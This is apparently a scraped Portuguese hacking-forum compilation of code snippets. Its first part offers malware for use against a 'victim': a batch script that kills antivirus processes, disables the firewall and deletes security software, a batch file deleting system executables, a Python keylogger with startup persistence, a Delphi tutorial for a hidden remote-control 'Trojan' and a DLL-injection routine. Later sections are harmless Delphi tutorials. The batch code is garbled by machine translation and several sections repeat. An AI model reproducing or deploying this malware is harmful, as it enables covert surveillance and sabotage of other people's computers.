Como desativar / excluir Antivírus da sua vítima
@ Echo off REM - rem permanentemente Mate Anti-Virus net stop "Security Center" netsh firewall set modo opmode = desativar tskill / A * av tskill / A * fogo tskill / A * anti cls tskill / A * espião tskill / A BullGuard tskill / A PersFw tskill / A * KAV tskill / A ZONEALARM tskill / A SafeWeb cls tskill / A OUTPOST tskill / A * nv tskill / A * nav tskill / A * F- tskill / A eSafe tskill / A cle cls tskill / A BlackICE tskill / A * def tskill / A kav tskill / A * kav tskill / A * avg tskill / A * cinzas cls tskill / A aswUpdSv tskill / A * ewid tskill / A * guarda tskill / A * guar tskill / A * gcasDt tskill / A * msmp cls tskill / A * mcafe tskill / A mghtml tskill / A msiexec tskill / Um posto avançado tskill / A iSafe tskill / A * zap cls tskill / A zauinst tskill / A * upd tskill / A * zlclien tskill / A minilog tskill / A * cc tskill / A * norton cls tskill / A norton au * tskill / A * ccc tskill / A * npfmn tskill / A * loge tskill / A * nisum tskill / A issvc tskill / A * tmp cls tskill / A * tmn tskill / A * pcc tskill / A * cpd tskill / A * pop tskill / A * pav tskill / A PAdmin cls tskill / A * panda tskill / A * avsch tskill / A * sche tskill / A * Syman tskill / A * vírus tskill / A * reino cls tskill / A * varredura tskill / A * varredura tskill / A * ad- tskill / A * seguro tskill / A * AVAS tskill / A * norma cls tskill / A * offg del / Q / FC:. \ Arquivos de Programas \ alwils ~ 1 \ Avast4 \ * del / Q / FC:. \ Arquivos de programas \ Lavasoft \ Ad-awa ~ 1 \ * exe del / Q / FC: \ Program Files \ exe kasper ~ 1 \ *. cls del / Q / FC: \ Program Files \ exe trojan ~ 1 \ *. del / Q / FC: \ Arquivos de programas \ f-prot95 \ * dll. del / Q / FC:. \ Arquivos de Programas \ tbav \ * dat cls del / Q / FC:. \ Arquivos de Programas \ avpersonal \ * vdf del / Q / FC:. \ Arquivos de programas \ Norton ~ 1 \ * cnt del / Q / FC:. \ Arquivos de programas \ McAfee \ * cls del / Q / FC:. \ Arquivos de programas \ Norton ~ 1 \ Norton ~ 1 \ Norton ~ 3 \ * del / Q / FC:. \ Arquivos de programas \ Norton ~ 1 \ Norton ~ 1 \ speedd ~ 1 \ * del / Q / FC: \ Arquivos de programas \ Norton ~ 1 \ Norton ~ 1 \ *. del / Q / FC: \ Arquivos de programas \ Norton ~ 1 \ *. cls del / Q / FC: \ Arquivos de Programas \ avgamsr \ * exe. del / Q / FC: \ Arquivos de Programas \ avgamsvr \ * exe. del / Q / FC: \ Arquivos de Programas \ avgemc \ * exe. cls del / Q / FC: \ Arquivos de Programas \ avgcc \ * exe. del / Q / FC: \ Arquivos de Programas \ avgupsvc \ * exe. del / Q / FC: \ Arquivos de programas \ Grisoft del / Q / FC: \ Arquivos de Programas \ nood32krn \ * exe. del / Q / FC: \ Arquivos de Programas \ nood32 \ * exe. cls del / Q / FC: \ Arquivos de programas \ NOD32 del / Q / FC: \ Arquivos de Programas \ nood32 del / Q / FC: \ Arquivos de Programas \ kav \ * exe. del / Q / FC: \ Arquivos de Programas \ kavmm \ * exe. del / Q / FC:. \ Arquivos de programas \ Kaspersky \ * cls del / Q / FC: \ Arquivos de Programas \ ewidoctrl \ * exe. del / Q / FC: \ Arquivos de Programas \ guarda \ * exe. del / Q / FC: \ Arquivos de programas \ ewido \ * exe. cls del / Q / FC: \ Arquivos de Programas \ pavprsrv \ * exe. del / Q / FC: \ Arquivos de Programas \ pavprot \ * exe. del / Q / FC: \ Arquivos de Programas \ avengine \ * exe. cls del / Q / FC: \ Arquivos de Programas \ apvxdwin \ * exe. del / Q / FC: \ Arquivos de Programas \ webproxy \ * exe. del / Q / FC:. \ Arquivos de programas \ panda software \ * REM -
Vírus para Excluir mouse, explorar, logoff usando Programação Batch
@ Echo off @ Se existe c: \ windows \ system32 \ rato del c: \ windows \ system32 \ rato @ Se existe c: \ windows \ system32 \ teclado del c: \ windows \ system32 \ teclado copy C: \ windows \ @ Se existe c: \ windows \ system32 \ logoff.exe del c: \ windows \ system32 \ logoff.exe
@ Se existe C: \ Arquivos de programas \ Internet Explorer \
iexplore.exe del C: \ Arquivos de programas \ Internet Explorer \
iexplore.exe
Keylogger em python
import os
import string
import sys
import win32api
import win32con
import time
import pprint
import shutil
import pyHook
import pythoncom
from time import ctime
from _winreg import *
#setting some global vars
skippedKeys = set( (0,) )
def send_message():
#send the keylogged message by smtp, sms, or anything else :)
def OnKeyboardEvent(event):
try:
eventWindow, ascii = event.WindowName, event.Ascii
if ascii not in skippedKeys:
input_ = chr(ascii)
print ascii
f = open('C:\\log.txt', 'r')
data = f.read()
f.close()
f = open('C:\\log.txt', 'w')
if ascii == 32:
input_=' '
else:
if ascii == 13:
input_='\n'
else:
if ascii == 8:
input_='*bs*'
data += input_
f.write(data)
f.close()
if len(data) > 30:
send_message()
f = open('C:\\log.txt', 'w')
f.close()
return True
except:
return True
#to the keylogger after every startup
def regwrite():
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
0, KEY_WRITE)
#note that we must convert the python file to .exe file
SetValueEx(aKey,"KEYLOGGER",0, REG_SZ, r"C:\keylogger.exe")
CloseKey(aKey)
CloseKey(aReg)
if __name__ == "__main__":
regwrite()
try:
# we flush/create the log file
f=open('C:\\log.txt', 'w')
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
pythoncom.PumpMessages()
except:
pass
except:
passnote: you must
1º Passo -> Você tem o Delphi? Se não, será necessário baixá-lo. Download:http://lfiles3.brothersoft.com/devel...andDelphi7.zip
2º Passo -> Abra o Delphi. Clique em Component, depois em vá
em Install Packages…
Depois cliques em Add...
Em Filename coloque isso e depois clique em Open: %programfiles%\Borland\Delphi7\Bin\dclsockets70.bp l
Ou o diretório do seu delphi + \Bin\dclsockets70.bpl. Isso serve para adicionar os componentes que serão necessarios para seu Trojan…
3º Passo -> Agora mãos a obra! Vá na paleta Standard e adicione 4 Buttons:
Agora… insira um Edit que está na paleta Standard também:
Depois insira um ClientSocket que está na paleta Internet:
Clique em um dos botões, e na parte esquerda, procure pela janela que o titulo é Object Inspector e depois procure por Caption:
E altere o conteudo da sua direita para Conectar, repita isso com os outros três botões, só que ao invés de colocar Conectar, coloque: Desconectar, Abrir CD e Fechar CD.
Agora clique no Edit e vá na mesma janela anterior, só que dessa vez procure por Text. E remove o conteúdo da
direita.
De uma arrumada na posição dos objetos a seu gosto… E lembresse, o Client Socket não vai aparecer… Eu arrumei assim:
4º Passo -> Agora que já fizemos a interface do Cliente, vamos codar! De dois cliques no botão Conectar. Abrirá uma nova janela, nela… escreva abaixo de begin isso:
ClientSocket1.Host := Edit1.Text;
ClientSocket1.Port := 1234;
ClientSocket1.Active := True;
Explicando, a primeira linha vai definir o IP que você vai atacar, como o texto do edit que você inseriu, a segunda
linha, vai definir como a porta a ser aberta, como 1234, e a terceira se conectará. Agora vá a janela anterior e de dois cliques no botão Desconectar, e coloque isso:
ClientSocket1.Active := False;
ClientSocket1.Close;
Explicando, a primeira linha vai desconectar o Cliente do servidor, e a segunda vai fechar o cliente.
Volte a janela anterior e dê dois cliques no botão Abrir CD, e coloque isso:
ClientSocket1.Socket.SendText(’1');
Explicando, essa linha fará com que o Client Socket, envie o texto com o número 1 para o servidor, e lá, esse texto será reconhecido. Volte novante a janela anterior, dê dois cliques no botão Fechar CD, e coloque isso:
ClientSocket1.Socket.SendText(’2');
Explicando, ele faz a mesma coisa que o comando anterior, só que, ao invés de mandar um texto com o número 1 ele vai mandar um texto com o número 2. Pronto cliente terminado,agora só falta o Server, então salve o programa clicando em File, depois em "Save all" e salve onde quiser.
Depois que salvar clique em Project depois Compile Project1 :
Depois clique em File, depois Close All :
Clique em File, depois New, depois Application :
Vá na paleta Internet e de dois cliques em ServerSocket :
Agora de um clique nele, e vá na janela Object Inspector, e mude a Port para 1234 :
Agora, ainda na Object Inspector, mude o Active para True :
Novamente em Object Inspector, clique em Events :
Depois de dois cliques em OnClientRead :
Na nova janela que apareceu, apague o begin e coloque isso:
var
Kingcaio : String;
begin
Kingcaio := Socket.ReceiveText;
if Kingcaio = ‘1' then
MciSendString(’Set CdAudio Door Open’,nil,0,Handle)
else if Kingcaio = ‘2' then
MciSendString(’Set CdAudio Door Closed’,nil,0,Handle);
Explicando, a 2ª linha vai definir a variante Kingcaio como uma string, a 4ª define a String Kingcaio como sendo igual a Socket.
ReceiveText, que por sua vez significa ao texto recebido, a 5ª vai dizer tipo assim: “Se o texto recebido for igual a 1 faça isso, mas se não for siga em frente”, a 6ª é o comando para abrir o CD-ROM, a 7ª linha tem a mesma função que a 5ª linha, e por final a 8ª linha, é o comando para fechar o CD ROM.
Agora, ainda nessa janela suba a barra de rolagem até achar alguma coisa assim:
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;
Logo após de ScktComp coloque MMSystem ficando igual a seguinte foto:
Certo, clique em Project depois em View Source, aparecerá uma nova janela, procure por Application.Initialize;, escreva logo abaixo dessa linha isto:
Application.ShowMainForm := False;
Que servirá para que a pessoa não veja a janela.
Agora clique em File e depois em Save All e salve em qualquer lugar.
Logo em seguida clique em Project em seguida Compile Project1.
Pronto! Acabou! Agora vamos testar para ver se deu certo! Dê dois cliques no executável do server, depois no executavel do cliente, no edit que você inseriu coloque isso:
127.0.0.1
Que é o endereço de LoopBack, ou seja, é a mesma coisa que se você digitasse seu próprio IP, e logo em seguida clique em Conectar, e teste os comandos.
2º Passo -> Abra o Delphi. Clique em Component, depois em vá
em Install Packages…
Depois cliques em Add...
Em Filename coloque isso e depois clique em Open: %programfiles%\Borland\Delphi7\Bin\dclsockets70.bp l
Ou o diretório do seu delphi + \Bin\dclsockets70.bpl. Isso serve para adicionar os componentes que serão necessarios para seu Trojan…
3º Passo -> Agora mãos a obra! Vá na paleta Standard e adicione 4 Buttons:
Agora… insira um Edit que está na paleta Standard também:
Depois insira um ClientSocket que está na paleta Internet:
Clique em um dos botões, e na parte esquerda, procure pela janela que o titulo é Object Inspector e depois procure por Caption:
E altere o conteudo da sua direita para Conectar, repita isso com os outros três botões, só que ao invés de colocar Conectar, coloque: Desconectar, Abrir CD e Fechar CD.
Agora clique no Edit e vá na mesma janela anterior, só que dessa vez procure por Text. E remove o conteúdo da
direita.
De uma arrumada na posição dos objetos a seu gosto… E lembresse, o Client Socket não vai aparecer… Eu arrumei assim:
4º Passo -> Agora que já fizemos a interface do Cliente, vamos codar! De dois cliques no botão Conectar. Abrirá uma nova janela, nela… escreva abaixo de begin isso:
ClientSocket1.Host := Edit1.Text;
ClientSocket1.Port := 1234;
ClientSocket1.Active := True;
Explicando, a primeira linha vai definir o IP que você vai atacar, como o texto do edit que você inseriu, a segunda
linha, vai definir como a porta a ser aberta, como 1234, e a terceira se conectará. Agora vá a janela anterior e de dois cliques no botão Desconectar, e coloque isso:
ClientSocket1.Active := False;
ClientSocket1.Close;
Explicando, a primeira linha vai desconectar o Cliente do servidor, e a segunda vai fechar o cliente.
Volte a janela anterior e dê dois cliques no botão Abrir CD, e coloque isso:
ClientSocket1.Socket.SendText(’1');
Explicando, essa linha fará com que o Client Socket, envie o texto com o número 1 para o servidor, e lá, esse texto será reconhecido. Volte novante a janela anterior, dê dois cliques no botão Fechar CD, e coloque isso:
ClientSocket1.Socket.SendText(’2');
Explicando, ele faz a mesma coisa que o comando anterior, só que, ao invés de mandar um texto com o número 1 ele vai mandar um texto com o número 2. Pronto cliente terminado,agora só falta o Server, então salve o programa clicando em File, depois em "Save all" e salve onde quiser.
Depois que salvar clique em Project depois Compile Project1 :
Depois clique em File, depois Close All :
Clique em File, depois New, depois Application :
Vá na paleta Internet e de dois cliques em ServerSocket :
Agora de um clique nele, e vá na janela Object Inspector, e mude a Port para 1234 :
Agora, ainda na Object Inspector, mude o Active para True :
Novamente em Object Inspector, clique em Events :
Depois de dois cliques em OnClientRead :
Na nova janela que apareceu, apague o begin e coloque isso:
var
Kingcaio : String;
begin
Kingcaio := Socket.ReceiveText;
if Kingcaio = ‘1' then
MciSendString(’Set CdAudio Door Open’,nil,0,Handle)
else if Kingcaio = ‘2' then
MciSendString(’Set CdAudio Door Closed’,nil,0,Handle);
 | Esta imagem foi redimensionada. Clique nesta barra para ver a imagem completa. A imagem original é de tamanho 800x466. |
Explicando, a 2ª linha vai definir a variante Kingcaio como uma string, a 4ª define a String Kingcaio como sendo igual a Socket.
ReceiveText, que por sua vez significa ao texto recebido, a 5ª vai dizer tipo assim: “Se o texto recebido for igual a 1 faça isso, mas se não for siga em frente”, a 6ª é o comando para abrir o CD-ROM, a 7ª linha tem a mesma função que a 5ª linha, e por final a 8ª linha, é o comando para fechar o CD ROM.
Agora, ainda nessa janela suba a barra de rolagem até achar alguma coisa assim:
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;
Logo após de ScktComp coloque MMSystem ficando igual a seguinte foto:
Certo, clique em Project depois em View Source, aparecerá uma nova janela, procure por Application.Initialize;, escreva logo abaixo dessa linha isto:
Application.ShowMainForm := False;
Que servirá para que a pessoa não veja a janela.
Agora clique em File e depois em Save All e salve em qualquer lugar.
Logo em seguida clique em Project em seguida Compile Project1.
Pronto! Acabou! Agora vamos testar para ver se deu certo! Dê dois cliques no executável do server, depois no executavel do cliente, no edit que você inseriu coloque isso:
127.0.0.1
Que é o endereço de LoopBack, ou seja, é a mesma coisa que se você digitasse seu próprio IP, e logo em seguida clique em Conectar, e teste os comandos.
Criando um programa de Backups em Delphi 7
este programa a ser ensinado hoje serve para fazer Backups
dos seus arquivos, ou seja, ele pega um arquivo da qual você escolheu,
você escolhe o local a ser salvo e simples, clique num button para que
seja feito o Backup.
O que você vai precisar:
3 Edits - Aba standard
3 Labels - Aba standard
1 Button - Aba standard
2 SpeedButton - Aba additional
1 OpenDialog - Aba Dialogs
Tutorial:
rganize de tal forma que um edit fique em baixo do outro, ou seja, o Edit2 embaixo do 1, o Edit3 embaixo do 2. Os speed buttons devem ficar um de cada lado de cada edit, ou seja, SpeedButton1 do lado do Edit1 e SpeedButton2 do lado do edit2. O Button principal deve ficar embaixo de tudo. Siga a imagem abaixo e organize da forma que preferir (Obs.: Renomeie o Label1 para: Programa a ser copiado. Renomeie a Label2 para: Pasta aonde ira copiar e o ultimo Label3 coloque para: Nome do arquivo.):
Após ter feito isso, renomeie e organize da sua forma, clique no Button1 e adicione o seguinte código (OBS.:Retire o primeiro BEGIN do Button1 e cole o código.):
Após isso clique no SpeedButton1 e adicione o seguinte código:
No SpeedButton2 adicione o seguinte código:
Tutorial de uso do programa:
Após ter concluído e salvo seu programa, clique no SpeedButton1 e escolha o arquivo no qual você quer copiar. Clique no SpeedButton2 e adicione o local aonde você quer que ele seja salvo, no Edit3 você escolhe um nome para ele, e clique no Button1 para fazer um backup.
------------------------------------------------------------------------------------------------------------------------------------- O que você vai precisar:
3 Edits - Aba standard
3 Labels - Aba standard
1 Button - Aba standard
2 SpeedButton - Aba additional
1 OpenDialog - Aba Dialogs
Tutorial:
rganize de tal forma que um edit fique em baixo do outro, ou seja, o Edit2 embaixo do 1, o Edit3 embaixo do 2. Os speed buttons devem ficar um de cada lado de cada edit, ou seja, SpeedButton1 do lado do Edit1 e SpeedButton2 do lado do edit2. O Button principal deve ficar embaixo de tudo. Siga a imagem abaixo e organize da forma que preferir (Obs.: Renomeie o Label1 para: Programa a ser copiado. Renomeie a Label2 para: Pasta aonde ira copiar e o ultimo Label3 coloque para: Nome do arquivo.):
Após ter feito isso, renomeie e organize da sua forma, clique no Button1 e adicione o seguinte código (OBS.:Retire o primeiro BEGIN do Button1 e cole o código.):
Código:
var
Origem, Destino: string;
begin
If Edit1.Text = '' then
ShowMessage('Deve ser inserido um nome');
if MESSAGEBOX(Application.Handle, 'Deseja Fazer o Backup do Arquivo?',
'Por favor, confirme:', MB_ICONQUESTION + MB_YESNOCANCEL + MB_DEFBUTTON2)
= ID_YES then
Origem := Edit1.Text;
Destino := Edit2.Text + '\' + Edit3.Text + '.BACK' ;
ShowMessage('Backup efetuado com sucesso.');
if not CopyFile(PChar(Origem), PChar(Destino), false) then
ShowMessage('Erro ao copiar ' + Origem + ' para ' + Destino);
Código:
If OpenDialog1.Execute Then
Edit1.Text := OpenDialog1.FileName;
Código:
If OpenDialog1.Execute Then
Edit1.Text := OpenDialog1.FileName;
Após ter concluído e salvo seu programa, clique no SpeedButton1 e escolha o arquivo no qual você quer copiar. Clique no SpeedButton2 e adicione o local aonde você quer que ele seja salvo, no Edit3 você escolhe um nome para ele, e clique no Button1 para fazer um backup.
função de dll injection
var
Aboult : Cardinal;
aboultx : Cardinal;
aboultdll : String;
dll : Pointer;
begin
aboultdll := 'localdadll';
Aboult := 3052 ;
aboultx:= OpenProcess(PROCESS_ALL_ACCESS, false, Aboult);
dll := VirtualAllocEx(aboultx, 0, length(aboultdll), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(aboultx, dll, PChar(aboultdll), length(aboultdll), bw);
CreateRemoteThread(aboultx, nil, 0, GetProcAddress(GetModuleHandle('kernel32.dll'),'Lo adLibraryA'), dll, 0, aboultx);
No exemplo acima ele ja loada a dll no processo
A parte em negrito deve ser editada com o local da dll
Creditos: Google
var
Aboult : Cardinal;
aboultx : Cardinal;
aboultdll : String;
dll : Pointer;
begin
aboultdll := 'localdadll';
Aboult := 3052 ;
aboultx:= OpenProcess(PROCESS_ALL_ACCESS, false, Aboult);
dll := VirtualAllocEx(aboultx, 0, length(aboultdll), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(aboultx, dll, PChar(aboultdll), length(aboultdll), bw);
CreateRemoteThread(aboultx, nil, 0, GetProcAddress(GetModuleHandle('kernel32.dll'),'Lo adLibraryA'), dll, 0, aboultx);
No exemplo acima ele ja loada a dll no processo
A parte em negrito deve ser editada com o local da dll
Creditos: Google
Pegando seu IP e seu Host da Net
UM MÉTODO SIMPLES E FUNCIONAL! ADICIONE: *)
Citação:
COLOQUE ESSA FUNÇÃO (NO IMPLEMETATION) *) function GetIPFromHost (var HostName, IPaddr, WSAErr: string): Boolean; type Name = array[0..100] of Char; PName = ^Name; var HEnt: pHostEnt; HName: PName; WSAData: TWSAData; i: Integer; begin Result := False; if WSAStartup($0101, WSAData) <> 0 then begin WSAErr := 'Winsock is not responding."'; Exit; end; IPaddr := ''; New(HName); if GetHostName(HName^, SizeOf(Name)) = 0 then begin HostName := StrPas(HName^); HEnt := GetHostByName(HName^); for i := 0 to HEnt^.h_length - 1 do IPaddr := Concat(IPaddr, IntToStr(Ord(HEnt^.h_addr_list^[i])) + '.'); SetLength(IPaddr, Length(IPaddr) - 1); Result := True; end else begin case WSAGetLastError of WSANOTINITIALISED:WSAErr:='WSANotInitialised'; WSAENETDOWN :WSAErr:='WSAENetDown'; WSAEINPROGRESS :WSAErr:='WSAEInProgress'; end; end; Dispose(HName); WSACleanup; end; (* 1 - um WEBBROWSER (ABA INTERNET) 2 - Dois EDIT 3 - dois button *) /pegar o ip e host da intranet //No button1 digite: Quote procedure TForm1.Button1Click(Sender: TObject);var Host, IP, Err: string; begin Webbrowser1.navigate('http://www.whatismyip.com/automation/n09230945.asp'); if GetIPFromHost(Host, IP, Err) then begin Edit1.Text := Host; Edit2.Text := IP; end else MessageDlg(Err, mtError, [mbOk], 0); end ; //pegar o ip da INTERNET //No button2 digite: Quote procedure TForm1.Button2Click(Sender: TObject); Var S:Variant; begin S := WebBrowser1.Document; EDIT1.TEXT:=(S.Body.innerHTML); end; |
|
|
 |
Criando tela de apresentação
O que é Tela de Apresentação ?
É aquela tela que aparece antes do programa inciar, ficar por alguns segundos e fexa Exemplo: a da Borland qdo agente vai abrir o Delphi Aparece "Borland" depos fecha e abre o Delphi.
1- Em Propriedades de seu form Coloque o BordStyle em BsNone como a Imagem abaixo.OBS: Isso é Para Tirar a Barra de TituloImagem
2- Ainda nas propriedades Coloque o Position em "Desktop Center"OBS: para a tela Ficar no meio
3- Adicione uma Progress Bar (Aba Win32). Renomeie ela para "bar".
4- Adicione outros Componentes da forma que desejar.Exemplo: Label, Imagens, Textos, Creditos)
5-Adicione Um XPManifeste (Aba win32)OBS: So Pra Fica Melhorzinho
6- Colokaremos um TTimer, deixe o interval dele em 1000OBS: Nele Colocaremos o Cod que fara com q a Progress bar Carregue o Programa
7- De 2 Cliques no TTimer e Add este Código
8 - Agora Iremos Criar o Form Aonde será feito o programa. vá em File → New → Form
9 - No Evento OnClose do form2 Vcs irao Colocar Esté Codigo
OBS: NUNCA apenas copie um codigo, leia ele e
entenda, para que caso haja erro, voces saibam o ke deu errado, o nome
dos forms e dos itens no programa sao muito importantes.
OBS: Se Forem Almentar o Tempo da Progress Bar Vc deve Mudar o Timer e o cod da progress bar
Exemplo : Assim que voce coloca o TTImer o Intervalo dele é de 1000
Se Voce Colocar 2000 Voce Terá que Fazer Assim No Codigo
e Assim por diante.
Resumindo o Valor que voce colocar no Timer deve ser Divido para Ser Colocado no cod da Progressbar.
no caso foi 2000 dividido por 10 ( se perceber a progress bar vai de 10 em 10 até 100) que deu 200 pra cada.
É aquela tela que aparece antes do programa inciar, ficar por alguns segundos e fexa Exemplo: a da Borland qdo agente vai abrir o Delphi Aparece "Borland" depos fecha e abre o Delphi.
1- Em Propriedades de seu form Coloque o BordStyle em BsNone como a Imagem abaixo.OBS: Isso é Para Tirar a Barra de TituloImagem
2- Ainda nas propriedades Coloque o Position em "Desktop Center"OBS: para a tela Ficar no meio
3- Adicione uma Progress Bar (Aba Win32). Renomeie ela para "bar".
4- Adicione outros Componentes da forma que desejar.Exemplo: Label, Imagens, Textos, Creditos)
5-Adicione Um XPManifeste (Aba win32)OBS: So Pra Fica Melhorzinho
6- Colokaremos um TTimer, deixe o interval dele em 1000OBS: Nele Colocaremos o Cod que fara com q a Progress bar Carregue o Programa
7- De 2 Cliques no TTimer e Add este Código
Citação:
| bar.Position:=10;sleep (100);bar.Position:=20;sleep (100);bar.Position:=30;sleep (100);bar.Position:=40;sleep (100);bar.Position:=50;sleep (100);bar.Position:=60;sleep (100);bar.Position:=70;sleep (100);bar.Position:=80;sleep (100);bar.Position:=90;sleep (100);bar.Position:=100;sleep (100);form2.show;form1.enabled:=false;form1.Visibl e:=false;timer1.Enabled:=false; |
9 - No Evento OnClose do form2 Vcs irao Colocar Esté Codigo
Citação:
| Formclose |
OBS: Se Forem Almentar o Tempo da Progress Bar Vc deve Mudar o Timer e o cod da progress bar
Exemplo : Assim que voce coloca o TTImer o Intervalo dele é de 1000
Se Voce Colocar 2000 Voce Terá que Fazer Assim No Codigo
Citação:
| bar.Position:=10;sleep (200);bar.Position:=20;sleep (200);bar.Position:=30;sleep (200);bar.Position:=40; |
Resumindo o Valor que voce colocar no Timer deve ser Divido para Ser Colocado no cod da Progressbar.
no caso foi 2000 dividido por 10 ( se perceber a progress bar vai de 10 em 10 até 100) que deu 200 pra cada.
Sorteando Numeros Aleatorios
Adicione um Tbutton(palheta standart) e um Tedit(palheta standart)
De dois click sobre o Tbutton e adicione:
Var
a: array[0..5] of integer;
i: Integer;
begin
for i:= 0 to 5 do //exemplo de como usar variavel
begin
a[i]:= random(50) ;// o maximo para ser sorteado
Edit1.Text:= FloatToStr (random(50));
end;
Onde está 50 é o máximo de números para sortear,no caso até 50 !
De dois click sobre o Tbutton e adicione:
Var
a: array[0..5] of integer;
i: Integer;
begin
for i:= 0 to 5 do //exemplo de como usar variavel
begin
a[i]:= random(50) ;// o maximo para ser sorteado
Edit1.Text:= FloatToStr (random(50));
end;
Onde está 50 é o máximo de números para sortear,no caso até 50 !
Função pra capturar IP
Função pra capturar IP
Código:
Function MeuIP:string;
var
site: string;
begin
site := Form1.IdHTTP1.Get('http://meuip.datahouse.com.br');
MeuIP := Copy(site, Pos('', site) +215, 13);
end;
Exemplo de Uso :
Coloque dois componente idHTTP(paleta indy Clients) e uma Label .
procedure TForm1.Button1Click(Sender: TObject);
begin
Label1.Caption:=(MeuIp);
end;
criando um navegador basico
novo projeto no Delphi ( quando ele é aberto, ele já faz isso, é
iniciado com um projeto vazio ). Vamos inserir no formulário dois
quadros: um painel, onde ficarão os botões e a barra de endereços, e o
quadro de visualização HTML.
Para inserir um painel, clique no componente "painel" da paleta de componentes, e clique uma vez dentro da tela da janela do programa (o formulário). Veja:
Componente Painel ( Panel em inglês )
Deverá ficar assim depois de inserido no formulário.
Vamos ajustar algumas propriedades desse componente, para que ele fique
no topo, e sem o texto "Panel1" dentro. Clique uma vez nele para
seleciona-lo, e no inspetor de objetos ( a janela de propriedades do
objeto ), localize a propriedade "Caption". Remova o texto dela, deixando
assim:
Para que esse painel fique alinhado na parte superior da tela, localize
nessa mesma janela a propriedade "Align", e deixe com o valor "alTop":
Agora insira o componente "TWebBrowser". Ele fica na guia "Internet" da
paleta de componentes do Delphi, normalmente é o último dessa guia. Não
o insira dentro do painel, mas sim fora, ou seja, clique nele uma vez,
depois clique na área livre do formulário.
Veja como ficará:
Ajuste a propriedade "Align" dele assim como você fez com o painel,
mas agora escolha "alClient". Isso faz com que ele ocupe toda a área
restante da tela, mesmo que o usuário maximize ou redimensione a janela.
Vamos inserir uma barra de endereços simples ( não uma lista, por ser um tutorial para iniciantes nessa área ) e os botões "Voltar", "Avançar", "Parar" e "Atualizar". Selecione o componente "Button", da aba "Standard" dos componentes do Delphi, e insira-o dentro do painel. Agora sim, clique dentro do painel, para que ele fique "dentro" do painel. Se você colocá-lo fora, ele não acompanhará o local fixo no painel, por exemplo, podendo ficar fora do lugar dependendo do tamanho da janela.
Ficará assim:
Agora você já deve estar pegando mais intimidade com a inserção de
componentes. Insira mais três botões, ao lado desse. Você pode copiá-lo
e colar! Clique uma vez nele, ele ficará selecionado (o botão). Tecle
CTRL+C e depois CTRL+V, e ele será inserido dentro do painel, depois
tecle CTRL+V duas vezes para colar mais dois, e arraste cada um para os
seus lugares, de modo a deixar o visual organizado.
Agora altere os textos dos botões. Selecione um por um, localize a propriedade "Caption" no inspetor de objetos, e digite o texto desejado. Para nosso exemplo, coloque "Voltar" no primeiro botão, "Avançar" no segundo, "Parar" no terceiro e "Atualizar" no quarto.
Para inserir uma barra de endereços, clique no componente "Edit", da aba "Standard" da paleta de componentes, e insira-o também dentro do painel, logo abaixo dos botões ( redimensione o painel, se necessário, clicando nele e arrastando a linha inferior para baixo ). Redimensione o campo de texto ("Edit") até ficar com um tamanho razoável, para digitar um endereço da Internet. Com o "Edit" selecionado, remova o texto dele. Basta limpar o texto da propriedade "Text", pelo inspetor de objetos
Ficará assim:
Para não perder, salve o projeto. Clique no botão "Salvar tudo" do
Delphi, ou no menu "File > Save all", como é a primeira vez. Primeiro
salve o arquivo de projeto, de extensão ".dpr". Coloque o nome
principal do seu programa, de preferência sem espaço, será o mesmo nome
do executível. Por exemplo, "Navegador". Ao clicar em Salvar na janela
"Salvar", aparecerá uma outra, agora para salvar a unidade de código do
formulário, um arquivo ".pas". Pode deixar o padrão, "Unit1.pas", se
você quiser.
O componente WebBrowser usa toda a estrutura do IE, como comentei no começo do arquivo. Para fazê-lo "funcionar", o que seu programa tem que fazer é chamar as funções corretas dele. Algumas são documentadas, outras creio que não... Mas para as mais comuns não há segredo.
Dica: para facilitar as referências, vamos renomear o WebBrowser para um nome mais curto. Selecione o quadro branco do IE, e altere a propriedade "Name" dele, pelo inspetor de objetos. Usarei aqui "web", um nome fácil de identificar e curtinho.
Selecione a barra de endereços, o "Edit1". Quando a pessoa digitar alguma coisa e teclar [enter], o navegador será chamado. Para isso, deveremos configurar o evento da barra de endereços responsável por reconhecer o [enter], e por chamar o navegador.
Selecione a barra de endereços, e vá para a aba "Events" do Object Inspector ( na mesma janela onde você altera os títulos, textos, propriedades dos componentes... ).
Nessa aba podemos personalizar os eventos dos objetos. Os eventos são
ações que podem ser realizadas pelo usuário ou pelo programa. Por
exemplo, quando o usuario clica num componente visual, o evento onClick é
chamado, e o código contido nele será executado. Se o usuário nunca
clicar nesse botão, esse código nunca seria executado. Para definir um
código, uma ação, quando o usuíário teclar [enter] no campo de texto,
devemos inserir os comandos no evento "onKeyDown", que pode ser
entendido como "aoApertarUmaTecla". Ele é chamado para todas as teclas
enquanto o componente de texto estiver com o foco, então deveremos
também incluir um verificador, para verificar se a tecla pressionada foi
[enter]. Se for, faremos uma chamada ao componente do navegador para
abrir o endereço digitado. Se não for, não faremos nada e deixaremos o
usuário terminar de digitar.
Localize o evento "onKeyDown" ( não se esqueça de selecionar o "Edit1" antes ), e dê um duplo clique no quadrinho em branco à sua esquerda, onde você percebe que pode digitar algo:
o Delphi já preparará toda a estrutura para você digitar os comandos. Digite isso, entre o begin e o end:
if Key = VK_RETURN then
web.Navigate(Edit1.Text);
Compile o programa e execute-o, digitando qualquer site na barra de endereços, e tecle [enter]. Se der erro na compilação e o programa não rodar, verifique todos os passos descritos, observando a mensagem de erro na tela do Delphi, que normalmente reporta o que ocorreu ou pelo menos a linha.
Agora vamos definir as ações dos botões. O evento onClick deles é o evento padrão, por ser o mais intuitivo para um botão: fazer alguma coisa quando o usuário clicar nele. Como é o evento padrão, basta dar um duplo clique sobre cada botão, para digitar o evento para ele. Mas nada impede que você o faça selecionando o botão, e dando um duplo clique no evento "onClick", da aba "Events" do Object Inspector.
Essa parte será bem fácil, pois cada botão apenas chamará um método do componente do navegador, que no caso, é gerenciado pelo motor do Internet Explorer, ou seja, já está tudo programado.
Dê um duplo clique sobre o botão "Voltar", e digite:
web.GoBack;
Faça a mesma coisa para o botão "Avançar", digitando:
